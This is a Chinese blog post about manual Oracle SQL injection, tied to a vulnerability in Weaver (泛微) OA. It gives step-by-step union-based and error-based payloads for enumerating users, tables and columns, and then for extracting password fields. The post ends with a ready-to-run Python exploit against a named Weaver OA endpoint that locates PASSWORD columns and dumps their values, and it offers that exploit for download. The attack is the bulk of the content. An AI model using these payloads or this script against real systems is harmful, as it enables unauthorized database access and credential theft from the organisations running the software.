基于泛微OA注入学习及成果输出

泛微OA又出漏洞了,,,是个SQL注入,想着利用一下,于是找了个测试点。但是发现Oracle注入,不会手工,可真是难受,所以现学现卖。。。

参考:https://www.freebuf.com/articles/web/5411.html

指尖轻流过

2019-10-17

最近的泛微OA注入漏洞,没有实现过自定义SQLMap,暂时只能手工进行。。。

但是发现手工Oracle注入并没有系统化的学习过,于是趁此机会学习一下,,,
并把学习结果分享。。。(直接下载附件,修改后缀为py即可。)

1.jpg

orale利用视图关系:

DBA_TABLES、ALL_TABLES以及USER_TABLES此三个视图可以用来查询ORACLE中关系表信息,它们之间的关系和区别有:

DBA_TABLES >= ALL_TABLES >= USER_TABLES

DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。

ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。

USER_TABLES意为某一用户所拥有的所有的关系表。
(所以一下内容请不要纠结于all_tables与user_tables关系,本例中为普通用户)

user_tab_columns是保存了当前用户的表、视图和Clusters中的列等信息,用于oracle获取表结构.使用时尽量使用USER_TAB_COLUMNS,以避免获取到oracle自行添加的隐藏字段。

。。。。

显性注入:简单快捷的用法

函数:utl_inaddr.get_host_address

用法:utl_inaddr.get_host_address(sql Injection)

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。

  • 利用这一点就不用去找字段了。。。

.jsp?cdd=1 or 1=utl_inaddr.get_host_address (SQL Injection)

.jsp?cdd=1 or 1=utl_inaddr.get_host_address ((select member from v$logfile where rownum=1)) --

显性注入:通用

判断注入点

利用and 1=1, and 1=2, ', "等字符结合起来进行注入点确定。

and (select count (*) from user_tables)>0--

and (select count (*) from dual)>0--

判断字段数

  • 通常利用order by 进行字段数确认。

order by N -- (?jsp=2 order by 3--)

union select null,banner from v$version order by (((1 (实例,判断版本)

填充字段

确定每个字段类型。

  • dual表和user_tables表是oracle中的系统表。
  • 确定字段类型使用union语句,union操作符用于合并两个或者多个select语句的字符集

    (1)union内部的select语句必须拥有相同的列

(2)列也必须拥有相同的数据类型

(3)每条select语句中的列顺序必须相同

null默认匹配所有字段,'null'匹配字符类型

union select null,null from dual order by 2--

Union select 'null',null from dual order by 2--

获取数据

利用and 1=2使一句正常查询无返回结果,此时字段会对应显示在替换元查询结果。

and 1=2 union select null,'null' from dual order by (((1

上述语句查询结果为:[{"id":"wf_","text":"null","leaf":true,"checked":false,"draggable":false}]

因此可以确定,第二个字段为'text'内容,可以利用其进行注入。

获取系统信息

当前数据库版本 ( select banner from sys.v_$version where rownum=1)
and 1=2 union select null,banner from sys.v_$version where rownum=1 order by (((1

服务器监听IP (select utl_inaddr.get_host_address from dual)
and 1=2 union select null,utl_inaddr.get_host_address from dual order by (((1

服务器操作系统(路径) (select member from v$logfile where rownum=1)
and 1=2 union select null,member from v$logfile where rownum=1 order by (((1

服务器sid ( 远程连接的话需要, select instance_name from v$instance;)
and 1=2 union select null,instance_name from v$instance order by (((1

当前用户:SELECT user FROM dual;
  
当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)
and 1=2 union select null,SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual order by (((1

获取系统中所有用户
and 1=2 union select null,username from all_users order by (((1

获取系统中所有数据库名称
and 1=2 union select distinct null,owner from all_tables order by (((1

获取所有表(所有库)
and 1=2 union select   null,table_name from all_tables order by (((1

获取表名

复杂方式
  • 所有表

and 1=2 union select null,table_name from user_tables order by (((1

  • 当前数据库中的第一个表:

(select table_name from user_tables where rownum=1)

and 1=2 union select null,(select table_name from user_tables where rownum=1) from dual order by (((1

  • 当前库的第二个表

(select table_name from user_tables where rownum=1 and table_name not in ('第一个表名'))

(select table_name from user_tables where rownum=1 and table_name <>'第一个表名')

and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('ACTIONEXECUTELOG')) from dual order by (((1

  • 当前库第三个表

(select table_name from user_tables where rownum=1 and table_name not in ('ACTIONEXECUTELOG','ACTIONSETTING'))

and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('ACTIONEXECUTELOG','ACTIONSETTING')) from dual order by (((1

。。。以此类推。。。

简单方式
  • 这里利用user_tab_columns获取所有的表以及字段名

and 1=2 union select null,table_name||chr(35)||column_name from user_tab_columns order by (((1

and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns) where limit =455) from dual order by (((1

因为Oracle不像Mysql那样存在limit可以一条一条的查询,Oracle想要实现必须自己构造一种方法。

# Oracle 没有limit 这样的语句所以可以用where rownum=1 来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2 是不行的,这里可以再次嵌套一个子查询语句如下:

# 也就是将rownum当作limit,table_nameh和column_name用字符~连接起来看作data,这时候即可构造:select data from ( slect rownum as limit,table_name||chr(35)||column_name as data from user_tab_colunms where column like 'PASSWORD')

再加入主语句加入where,返回第几条数据:select data from ( slect rownum as limit,table_name||column_name as data from user_tab_colunms where column like 'PASSWORD') where limit=1

# 最终形成了语句
and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like 'PASSWORD') where limit =2)  from dual order by (((1

获取字段名

复杂方式

获取所有字段

and 1=2 union select null,column_name from user_tab_columns order by (((1

  • 指定表,第一个字段

and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING') from dual order by (((1

  • 指定表,第二个字段

and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING' and column_name not in ('ID')) from dual order by (((1

  • 指定表,第三个字段

and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING' and column_name not in ('ID','ACTIONNAME')) from dual order by (((1

。。。以此类推。。。

简单方式

构造以使用类似于MYSQL中limit,来查询指定表名中的字段名称。

and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name=CHR(65)||CHR(80)||CHR(80)||CHR(85)||CHR(83)||CHR(69)||CHR(73)||CHR(78)||CHR(70)||CHR(79)) whEre limit =1) from dual order by (((1

and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name='USER_INFO') whEre limit =1) from dual order by (((1

查询指定表中字段内容

and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||ID as data from USER_INFO) where limit=5) from dual order by (((1

泛微OA EXP编写

(为了简洁的找到username或password,或者脱裤子。)

  • 第一步:获取含有PASSWORD字符的表名
and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like 'PASSWORD') where limit =2)  from dual order by (((1
  • 第二步:获取含有PASSWORD字段表的全部字段
and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name='USER_TABLE') whEre limit =1)  from dual order by (((1
  • 获取前10条数据
and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||ID as data from HRMRESOURCE) where limit=5)  from dual order by (((1

POC及EXP:

import requests
import re
import sys

class Exp(object):
    """docstring for Exp"""
    def __init__(self, url):
        super(Exp, self).__init__()
        self.url = url
        self.headers={
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        self.path = "/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333"
        self.tables = []
        self.passwords = []

    def poc(self):
        post_data = "formids=11111111111)))" + "%0a%0d"*360+"union select NULL,value from v$parameter order by (((1"
        req = requests.post(self.url+self.path,data=post_data,headers=self.headers)
        if '%ORACLE_HOME%' and 'DBHOME' in req.text:
            print('[+] 该泛微-协同办公OA存在SQL注入')
            return True
        else:
            print('[-] NOT Found~')
            return False
        
    def get_tables(self):
        print('[--------------开始查找带有 PASSWORD 字段的表-----------]')
        for i in range(1,21):
            post_data = "formids=11111111111)))" + "%0a%0d"*360+"and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like 'PASSWORD') where limit ={0})  from dual order by (((1".format(i)
            table_response = requests.post(self.url+self.path,headers=self.headers, data=post_data)
            tables = re.findall('~\'(.*?)#PASSWORD\'~', table_response.text, re.S)
            if tables:
                if tables[0]:
                    self.tables.append(tables[0])
                    print('[+] 找到带有 PASSWORD 字段的表 -->  '+tables[0])
            else:break
        # print(self.tables)

    def get_password(self):
        print('\n[+++++++++++++ 开始查找密码  +++++++++++++]\n')
        for x in self.tables:
            for i in range(1,6):
                post_data = "formids=11111111111)))"+"%0a%0d"*360+"and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD as data from {0}) where limit={1})  from dual order by (((1".format(x,i)
                passwords_response = requests.post(self.url+self.path,headers=self.headers, data=post_data)
                passwords = re.findall('~\'(.*?)\'~', passwords_response.text, re.S)
                if passwords:
                    if passwords[0]:
                        s = '表:'+x+'  密码:'+passwords[0]
                        print('[+] 找到密码 -->  '+s)
                        
                        self.passwords.append(s)
                    else:print('[-] 密码为空')
        print('\n')
        # print(self.passwords)
        

if __name__ == '__main__':
    try:
        argv = sys.argv[1:2]
        exp = Exp(argv[0])
        poc = exp.poc()
    except:
        exit('python3 fw-oa-exp.py http://www.example.com:8081')
    
    if poc is True:
        print('[========开始查找,默认20个表,每个表5条记录========]')
        exp.get_tables()
        exp.get_password()
        print('[========查找完毕,默认20个表,每个表5条记录========]')
    else:
        exit()

fw-oa-exp.zip

所有原创文章采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。
您可以自由的转载和修改,但请务必注明文章来源并且不可用于商业目的。
本站部分内容收集于互联网,如果有侵权内容、不妥之处,请联系我们删除。敬请谅解!

  Previous post 内存分页问题
Next post   Xposed_Hook教程

评论已关闭

青春就是用来追忆的,当你怀揣着它时,它一文不值,只有将它耗尽后,再回过头看,一切才有了意义,爱过我们的人和伤害过我们的人,都是我们青春存在的意义。

既然活着来到这个世界,就没有打算活着回去。所以,在这有限的时间里,我们应该珍惜生命,珍惜机会,更要珍惜那得之不易的时间。因那滴答做响的时间脚步,一旦走过,再不回头。

青春是一个充满魁力,充满诱惑的时代。好动是青春,好奇是青春,好玩是青春。玩世不恭更是青春,我们的一切切都是青春。

要先打败任何事情得先学会打败自己。

我会把每一次改变当做成长,哪怕是痛也值得。